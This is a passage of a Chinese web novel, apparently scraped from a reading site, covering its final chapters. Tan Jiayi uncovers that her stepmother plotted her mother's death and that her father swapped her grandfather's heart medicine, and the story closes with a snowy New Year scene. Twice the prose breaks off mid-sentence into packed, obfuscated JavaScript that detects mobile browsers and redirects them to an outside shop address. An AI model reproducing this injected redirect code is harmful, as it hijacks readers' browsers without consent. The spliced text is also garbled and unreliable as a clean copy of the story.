周泽楷轻笑两声,买了个关子,将人往里头引:“看彩虹!” 彩虹? 谭佳宜抬头看天,蓝天白云晴空万里,天空是很好看的,但怎么看也没见着彩虹。 不是说雨过天晴才会显现彩虹吗,她今早看的天气预报,也没播雨啊。 谭佳宜还在纳闷,周泽楷说的彩虹到底在哪,该不会是什么彩虹挂件,彩虹涂鸦之类的吧。 “你在这里等我一下。” 说罢,周泽楷大踏步跑出去,没等谭佳宜问清楚他去哪儿,周泽楷就不见了踪影。 真怪。 谭佳宜在原地百无聊赖地等待,脚尖有一下没一下地踢着面前的小石头,一会儿沿着地上的标线来回踱步,一会儿踮起脚张望,看周泽楷有没有回来。 去哪儿了,要这么久。 谭佳宜在心里咕嘟。 “希希,看后面!” 谭佳宜下意识转身,还真看见了彩虹! 水雾在空气中弥漫,阳光透过晶莹剔透的水珠,闪出五颜六色的光芒,一条五彩飘带在天际间熠熠生辉。 人造彩虹虽然无法横跨整个天空,却足以铺满了谭佳宜的眼底,谭佳宜露出由衷的笑容,和彩虹一样灿烂。 “好看吗?” 周泽楷不知从哪儿弄来了一架喷水机,他正在一旁调控着出水速度。 谭佳宜看向周泽楷,少年正冲她笑,从她这个角度看过去,彩虹映在周泽楷脸上,少年便成了她生命中的那道彩虹。 即使不是雨过天晴的日子,即使周遭是一片黑暗,他也能化作阳光,将生活装点得五彩斑斓。 谭佳宜眼底闪过泪花,她仰起头将眼泪收回,又正视周泽楷,笑着回答:“很好看,是我见过最好看的彩虹。” 看过彩虹,周泽楷和谭佳宜并肩坐在公园的椅子上晒太阳,谭佳宜指着面前庞大的喷水机问道:“你这哪儿弄来的?” 周泽楷指了指公园角落的保卫处,说道:“找保洁大爷借的,一会儿还得还回去。” 谭佳宜为他这清奇的思路点赞,不忘打趣道:“那还得谢谢公园保卫处,谢谢大爷愿意借你,他要是早知道你浪费水玩这花样,估计就不借你了。” 周泽楷故意凑近些坏笑:“千金难博美人一笑,怎么算是浪费。” 猝不及防的靠近,谭佳宜偏过身去,血液不自觉地往脸上冲。 不过好在周泽楷很有分寸,只一下便弹开。 谭佳宜在心里吐槽:周泽楷什么时候变得这么不正经了! “好了,开玩笑。我和大爷解释过了。而且冬天干燥,地上本来就是要撒水的,也算是帮大爷把这片地给洒了。”周泽楷解释道。 谭佳宜突然想到什么,补充道:“还得谢物理,多亏了光的色散。” 周泽楷被她逗笑了,眼睛都眯成了一条缝,他轻咳两声道:“你还真是什么时候都忘不了物理啊,看来是真爱。” 谭佳宜道:“那当然。” 时间不早了,两人起身。 走之前,周泽楷突然叫住她: “希希。” 谭佳宜没听清,又问了一遍:“什么?” “希希。”35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14199984|147235||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 周泽楷不厌其烦地又唤了一声。 谭佳宜这下听清楚了,眉头微微蹙了一下,似是有些疑惑:“你今天怎么这样叫我。” “嗯……这个名字好听。谭忆希。” 知道谭佳宜小名是希希的人不多,知道她之前还有过“谭忆希”这么个名字的人就更少了。 除过妈妈、外公,估计也就周泽楷记得了。 要说起来这还是小时候谭佳宜主动和他分享的,这个名字她不轻易透露,只会和亲近的人说。 谭佳宜愣愣地盯着他,周泽楷继续说道:“谭忆希,这个名字很好听。不是忆昔,而是忆希,阿姨肯定是想让你不要活在过去,而是要向前看,充满希望地迎接未来的每一天。 所以,不管今后发生什么,会是什么样子,请你一定要向前看,别回头,我会一直陪着你。” 谭佳宜心情早就好了不少,但此刻,温暖和希望的烙印才真正刻在谭佳宜心间。 是刻骨铭心,是脱胎换骨,是涅磐重生,前路逐渐清晰起来,除了讨回公道,她好像还生出些对生活的期待。 谭佳宜点头,眼里闪着光。 * 谭佳宜回到家,家里一片祥和。 如谭墨行所言,家里确实包饺子。 厨房里很热闹,谭墨行难得进厨房帮忙,谭家航也加入他们,程婉乔正耐心地教他包饺子。 好一个其乐融融的一家三口。 早知如此,她就不来了。 不过谭佳宜见怪不怪,这番景象并没有翻涌起她什么情绪,就连一丝的不快也没有。 反正都是些无关轻重的人。 谭佳宜不想加入他们包饺子,人多了她嫌挤。 打了声招呼,谭佳宜就打算回房间。 谭墨行想挽留她,但被谭佳宜一句“有点累,想休息”给打回来,只好作罢。 程婉乔本就不想让她来打扰他们,自然没说什么。 只有谭家航一个人暗自惋惜,心不在焉地捏着饺子皮。 谭佳宜原计划趁他们不注意,去程婉乔房间找找线索,但当她经过书房时,脚步却顿住了。 书房的门半掩着,透过缝隙,可以窥见里面的檀木桌椅和谭墨行一面墙的奢华藏品。 古朴典雅的装饰给人一种神秘幽静的感觉,谭佳宜瞬间打消了去卧室的主意,觉得这里面说不定藏着更多奥秘。 她悄悄走进书房,轻轻将门带上。 这里谭佳宜不常来,里面一股陌生的香薰味道浓重,刚进来鼻腔里就充满了这股味道。 这个味道她闻不惯,她是理解不了谭墨行的品位。 谭佳宜皱着鼻子随意翻着书架上的书籍。 这些书大都是些摆设,从崭新的书页可以推断,谭墨行平时并没有看书的习惯。 书架上没发现什么有价值的东西,谭佳宜绕到书桌旁。 桌面整洁,被打理得一尘不染,桌角的一盆多肉倒是很新奇,样式可爱,不像是谭墨行一贯的风格。 谭佳宜猜想估计是程婉乔整的,她最喜欢整这些花里胡哨的东西了。 谭佳宜找了一通还是一无所获,已经不抱什么期望。 她打开最后一个抽屉,里面也不过是一些文件,谭佳宜伸手进去翻,翻到最底下时,手突然僵住。 这是什么? 两个圆柱形的小瓶子藏在最下面,谭佳宜将它们拿出来。 白色的小瓶子谭佳宜很眼熟,这不是外公平时控制心脏病的药吗? 谭佳宜瞳孔急剧收缩,一个可怕的想法在脑海中闪过。 51. 雪地&终章 谭墨行书房怎么会有这种药,实在是蹊跷。 谭佳宜将瓶上有字的一面暴露出来,字迹有些模糊,不过仔细看还是可以辨认。 谭佳宜看了一遍才发现,两瓶并不都是一样的,一瓶是心脏病的药没错,另一瓶只是普通的肠胃药。 她顺势将瓶子打开,里面的药片大小形状大差不差,要不仔细瞧,还真以为它们是同一种药。 这时,门外传来一阵动静,似是快要吃饭了。 隔着书房门,谭佳宜听见谭墨行喊她一声:“佳宜,准备准备吃饭。” 谭佳宜没做声,远远听见谭墨行敲了两声自己的房门。 “这孩子,估计学习太专注了。”说罢,又喊了两声。 谭佳宜将两瓶药飞快揣进口袋,又迅速将抽屉整理好。 她走到书房门口,先是推开书房的门,留了道缝,从缝隙里四面观望来人,企图寻找一个合适的时机。 门口的人声消退,趁没人注意的空挡,谭佳宜不动声色地从书房溜出来,假装是刚从自己房间出来,很自然地往餐厅走。 一大盘饺子在桌上冒着热气,暖黄的灯光下,餐桌上摆盘精致的菜熠熠生辉,空气中洋溢着节日特有的温馨喜庆。 家里人全都穿着红色的毛衣,除了今天临时赶来的谭佳宜。 “佳宜,开空调了,穿着外套不热吗?”程婉乔温声提醒。 她八成是注意到到谭佳宜里面穿的不是红色,特意想让她显得格格不入,好来彰显他们一家人的统一。 亏得她如此细心,那就顺了她的意吧,反正自己也有回去放外套的打算。 “刚从外面回来没多久,身上还不暖和,现在确实感觉有点热了。” 谭佳宜将外套脱去,专门放回了自己的卧室,又趁机将那两瓶药收到带锁的柜子里。 她今天穿的是件纯白色的毛衣,在一众的大红中显得格外扎眼,看起来寡淡又晦气。 程婉乔瞧见她走出来,似笑非笑地勾勾唇,又走到她身边,故作腔调道:“佳宜怎么穿了个这么不耐脏的颜色,这也太素净了些。” 她一开口谭佳宜就知道她想说什么,也没恼,反而笑道:“没关系啊,这不是有程阿姨在嘛,要是弄脏了,就麻烦程阿姨帮忙洗干净了。” 程婉乔被她这个笑面虎噎得说不出话来,谭佳宜还不够,继续煽风点火:“阿姨之前不是在酒店工作过嘛,这种盥洗衣物的事情应该最在行了。阿姨手巧心细,肯定不会把衣服给洗坏的吧,我这衣服还挺贵的呢。” 闻言,程婉乔气得脸色发绿,但考虑到谭墨行在这,也只能忍气吞声道:“没问题,佳宜放心,阿姨肯定能把你的衣服洗得干干净净,一定不比外面干洗店洗得差。” 谭墨行看程婉乔和女儿今天没有针锋相对,很是满意,招呼着大家开始吃饭:“好了,吃饭吧。咱们一家人今天难得聚在一块,又是过年,大家怎么开心怎么来。” 谭佳宜象征性地和他们碰杯,心不在焉地抿了口果汁。 看着桌上兴致颇高的父亲,一时心情有些复杂。 爸爸,外公的死真的和你有关吗? 除了谭墨行背叛过白言清之外,她甚至从未将他划入这场阴谋之中。 她一直觉得,他们之间割舍不断的骨肉亲情多少会让谭墨行于心不忍。 但是现在,事实告诉她,她必须重新审视这个父亲了。 谭佳宜瞥了眼在一旁一言不发,安安静静吃饭的谭佳航。 小孩眼神清澈,眸光中透着从未沾染世俗的纯真。 谭佳航似乎是察觉到谭佳宜看过来的目光,羞涩地冲她一笑。 那个瞬间,谭佳宜的心猛烈颤动一下,难得发自内心扬起了嘴角。 面对这个可能和自己素不相干的小孩,她竟然莫名生出了几分同情。 这顿饭或许将成为他们家一起吃的最后一顿饭。 吃过这顿饭,各自有各自的归宿,各自有各自的报应,不过也就不再有家了。 对于谭佳宜来说,早在三年前,母亲死的那一天,或者是外公走的那一天,她就没有家了。 但谭佳航呢? 或许很快和自己一样,也会没有家…… 第二天,谭佳宜带着两瓶药找到了当年外公的主治医生。 医生说当时外公确实是受了刺激,突发心脏病抢救无效死亡的。 不过他也提到,外公这些年在药物的作用下,心脏一直控制得很好,每三个月复查一次,一直都没什么问题,恰好在复查期的前一周,外公心脏病又突然发作了。 谭佳宜这么一说,他倒是又想起来,当时他也觉得有些蹊跷,不过以为是女儿离世,白发人送黑发人对老人家打击太大的缘故,所以也就没往别的方面想。 但如果是由于长时间停药而突发心脏病,这就更说得通了。 今天气温骤降,从医院出来,天空竟飘起了雪花。 大年初一,街上没什么人,谭佳宜顶着风雪独自走在清冷的大街上。 瘦削的背影更显凄凉。 一片雪白不偏不倚落在谭佳宜睫毛上,在体温的作用下,雪花很快就化成水,从眼睛上滴落下来。 一滴、两滴、三滴…… 热腾腾的越来越多,几乎要倾斜而下。 这不是雪水,而是泪水。 她的外公白丰年是除了母亲之外,她第二亲近的人,从小教她读书识字,极具耐心。 即使小时候的谭佳宜活泼好动,不想读书的时候,外公也从来不会凶她,而是会陪她先玩一会儿,等她愿意看书了,再逐字逐句地给她讲故事。 谭佳宜残存着的一些对文学和文字的热爱,就是来源于她外公。 母亲的死固然对外公是个沉重的打击,但外公是个坚强的人,从小上山下乡、考学支教,吃过不少苦头,不过心态和情绪一直管理得很好,还从小教育谭佳宜要做个乐观的人,不要被生活给打倒。 外公是在母亲死后第三天去世的,送葬的时候还好好的,甚至都没怎么流泪。 他说母亲是为了救人,是为大义牺牲了自己,悲伤惋惜固然是有的,但更多的是骄傲和释然。 谭佳宜以为外公是放下了,没想到他还是倒下了。 小小年纪的她和众人一样,想当然地以为外公是憋坏了,悲伤过度而伤了身。 哪曾想最终竟然和母亲的死一样,也是有人故意为之。 谭佳宜兀自叹了口气,比起寒冷的天气,她的心更寒。 “嗡~” 手机响了,谭佳宜接通,另一头传来周泽楷急促的声音:“亲子鉴定结果出来了。” 他声音顿了顿,谭佳宜的心也跟着停了半拍。 “谭佳航…… 不是王启德的儿子,是谭墨行的亲生儿子。” 谭佳宜有些出乎意料,自从知道程婉乔和王启德的关系后,她就基本在心里默认了谭佳航不是谭墨行儿子的事实。 没想到,兜兜转转,谭佳航还是自己同父异母的弟弟,并不是毫无干系的人。 她没料到,王启德更加不会料到。 要是他知道谭佳航不是他的儿子,还会为程婉乔卖命,还会宁愿牺牲自己也不出卖程婉乔吗? “走,现在去警局。”谭佳宜二话不说挂断了电话,朝警局的方向走去。 谭佳宜到达警察局的时候,周泽楷已经在门口候着了。 他远远望见谭佳宜单薄的身影朝自己快步走来,等到她走近时,又仔细看了她一眼。 谭佳宜面上看起来很冷静,波澜不惊。 在强风作用下,脸上的泪早已干涸,只有眼眶微微泛红,不细看,根本看不出哭过的痕迹。 周泽楷不知道她来之前到底经历了什么,眼底闪过一丝担忧。 两人前往审问室。 隔着铁栏杆,王启德这些天肉眼可见消瘦了不少。 昏暗的光线下,依稀可见他凹陷的双颊。 这个场景周泽楷不是第一次见,倒是勾起了上一世一些他不愿回忆的沉痛记忆。 他看了眼身旁的谭佳宜,又看了眼对面的王启德。 好在物是人非,如今栏杆的另一头不是她。 “王启德,再问你一遍,你确定程婉乔全程毫不知情,没有参与到案件中吗?” 王启德低头沉默不语,片刻后,他微微抬头,还是一样的答案。 好一个滚刀肉,看来只能把真相告诉他了。 “王启德,你是不是一直以为谭佳航是你儿子?”谭佳宜盯着他问。 听到这话,王启德下意识地直起身子,面露惊讶地看着她:“你这话什么意思,你拿他怎么样?” 谭佳宜冷笑一声:“我能拿他怎么样,你应该想想谭墨行要是知道不是他儿子,会怎么对待他。” 王启德没慌,似乎是早就考虑过这个结果,他不紧不慢地说:“他迟早也会知道。不过没关系,就算谭墨行不管他,程婉乔会管他,我出去了也会管他。” 谭佳宜觉得他这话可笑,一个自身难保的人到最后还在为别人的孩子着想:“你还是多操心一下自己吧,自己被别人骗得团团转还浑然不觉。” “什么意思?”王启德瞳孔骤然收缩。 “谭墨行不会不管他儿子,不劳你操心,只不过就怕谭墨行也心有余而力不足。”谭佳宜看着王启德的神色一点点从震惊转为惊恐,她将亲子鉴定结果摆在他面前:“看好了,谭佳航根本不是你的儿子,程婉乔一直都在骗你,利用你。” 王启德显然是不相信,嘴里一直念叨着“不可能”,神情也渐趋绝望。 “她对你根本就没有真心,你还这么维护她,值得吗?”谭佳宜逼问。 她叹了口气继续道:“可怜天下父母心,你以为自己是谭佳航亲生父亲的时候,全心全意为他们母子考虑。但你有想过吗,你们的这些所作所为,让一个十二岁的小女孩失去了最爱她的妈妈。如果最后真凶还能继续逍遥法外,生活得有滋有味、自由自在,你觉得这对逝者公平吗?对那个女孩公平吗?” 王启德似乎还残存着一些未曾泯灭的良知,在良心的谴责和对程婉乔欺骗自己的愤懑下,他终于肯将事情的真相和盘托出。 谭佳宜没猜错,一切都是程婉乔主谋的,她为了能让自己过上好日子,不惜欺骗王启德,残害白言清,破坏一个原本完整的家。 真相大白,程婉乔被成功缉拿归案。 兔子急了乱咬人,即将入狱的程婉乔竟然将所有的责任推到谭墨行身上。 “墨行,这都是你指示我做的啊,我哪有这么大的胆子。”程婉乔扯着谭墨行的衣袖,大声控诉着。 谭墨行一把甩开她:“你别血口喷人,明明是你自己心肠恶毒,不要把脏水往我身上泼。” 昨日还是恩爱夫妻,今日就反目成为仇人。 人性的弱点到底还有多少。 一旁的谭佳宜终于开口:“爸,你真的没有参与吗?” 谭墨行没想到女儿会不相信自己,恳切地说着:“佳宜,你要相信爸爸,爸爸虽然有错,但就是眼光不好,看错了人,但绝对没有害人的心思。” 没有害人? 亏谭墨行说得出口。 谭佳 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14267683|147235||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 宜将口袋里的两瓶药拿出来:“爸,外公的药是你换的吧。你早就对外公起歹心了是不是。” 谭墨行这下彻底无话可说了,他震惊地退后一步。 无奈谭佳宜没想放过他,仍然步步紧逼:“外公青睐李叔,你嫉妒,外公看好王叔和李阿姨,你心里不平衡,当年外公反对你和妈妈结婚你就怀恨在心了吧,你巴不得外公早点死,好继承他的所有财产、资源和人脉。不然,你觉得就凭你的那点本身,佳行真的做得起来吗,不都是看在外公的面子上才……” “你住嘴!”谭墨行恼羞成怒,伸手想打谭佳宜。 只是一个高大的身影挡在了谭佳宜面前。 周泽楷将谭墨行推开,护住谭佳宜:“没事吧。” “没事,你还好吗?” “我没事。” 由于案情还未定夺,警方将程婉乔和谭墨行一并带回去审问。在谭佳宜的证据补充下,还将白风年的案子也考虑了进去。 最后,三个作恶的人一个都没有逃过,全都受到了应有的惩罚。 至于谭佳航,他毕竟也是谭佳宜的弟弟,她不能不管。 谭佳宜释怀了,坏的是他的父母,不是他,小孩是无辜的。 其实他和自己一样,是大人作恶的受害者。 李叔心善,主动提出帮忙照看谭佳航。 他喜欢小孩,刚失去一个乐乐,他也不忍心看见小孩孤苦伶仃无人照顾。 谭佳航听话懂事,有谭佳航在,李叔也能分散些注意,尽快从乐乐去世的悲痛中走出来。 因此,谭佳宜也就答应下来。 七哥网吧还是关门了,不过和上一世情况不同,准确来说是转给他手下的人打理。 七哥说干脆把招牌换了,但黄毛就是不听,坚持挂七哥的牌,说什么这个招牌已经打响了,换了可能没人来。 七哥决定做回苏以恒,他想重新回去读书。 他说想去母亲曾经读书的地方看看,所以今年如果顺利考过雅思的话,就准备直接出国。 “你这当了这么多年社会大哥,现在改邪归正重头再来,能行吗?”周泽楷搭上七哥的肩头,打趣道。 谭佳宜则是对七哥很有信心:“你别小瞧七哥,他学习能力很强的,而且这些年也一直没放弃读书,像是高中的课本,他都自学过一遍。所以啊,七哥现在其实是吊打我们俩的水平。” “没看出来你是四肢发达头脑也发达啊,那我确实自愧不如。”周泽楷双手作揖,给七哥行了个礼。 “好了,你俩别拍我彩虹屁了。没希希说得那么夸张,我也好久没怎么正经学习了,英语考不考得过还是一回事呢。”七哥难得谦虚道。 周泽楷在他肩上重重拍了两下:“肯定没问题的。要是有问题,还有我和谭佳宜呢,我俩轮流来给你补习。” 谭佳宜附和:“嗯,要是有什么需要的资料或者不懂的,直接找我们就好。” 七哥打量他俩一眼,从两人身上看到了一种莫名的和谐,他笑了,这回他也释怀了。 “那以后还要请两位高材生多多指教了。” 周泽楷和谭佳宜对视一眼,也都笑了。 新年尾声,前两天下了场大雪,景江丽苑小区内也积了不少雪。 白茫茫的一片,衬得天都亮堂了不少。 周泽楷蒙着谭佳宜的眼睛,引着人往前走。 他拿开手,轻声道:“到了。” 谭佳宜睁开眼睛,有些惊喜。 面前的两个雪人很大,足有谭佳宜这么高,一个臭着脸面无表情,一个咧着嘴在笑。 很眼熟,一次是公交车站送她的,一次是运动会上给她加油的。 她忍不住笑出了声:“你怎么想着堆这个。” 周泽楷指着两个雪人认真给她解释:“这个不笑的是你,这个笑着的是我。” 谭佳宜板着脸疑惑道:“为什么我不能笑?” 周泽楷故意说:“别动。你现在没笑的表情就和它一摸一样。” “你还专门堆个雪人diss我,有意思吗。”说着,谭佳宜拿起地上的一坨雪砸他。 “好了好了,我错了。”周泽楷挡着双臂求饶。 转而,周泽楷看着谭佳宜的眼睛,突然认真道:“其实我想表达的是,你笑的时候很好看,不笑的时候也好看,不管笑不笑,做你自己就好。不管是三年前的你,这三年的你,还是往后的你,从来都不是什么恶人,在我心里,你就是最好的你。要是笑累了,多点怨气也没关系,因为我会始终陪在你身边,逗你笑,哄你开心。” 这种煽情的话谭佳宜最是听不得,眼泪开始不自觉地在眼眶打转,她努力扯着嘴角:“行啦,我才不当怨妇呢,不然老得快。” 谭佳宜注意到周泽楷通红的手,问道:“你堆雪人怎么也不带个手套?” 周泽楷心虚,赶忙将手背到后面,搪塞道:“带了,或许那个手套质量一般,不保暖。” 谭佳宜:“以后堆雪人,记得叫上我,别光自娱自乐了。” 周泽楷立定站好:“遵命。” 雪地里的两人并肩站着,周泽楷偏过头对她说:“希希,新年快乐!” 谭佳宜愣神,也转过去笑道:“新年快乐!” 去年是不快乐的,今年的开头也不能用快乐形容。 但新年接下来的每一天,往后的每一年,应该—— 都会快乐吧。 望着澄净的天空,谭佳宜在心里默了一遍: 愿爱我的人,我爱的人,每一天,每一年,都快乐。 —— 正文完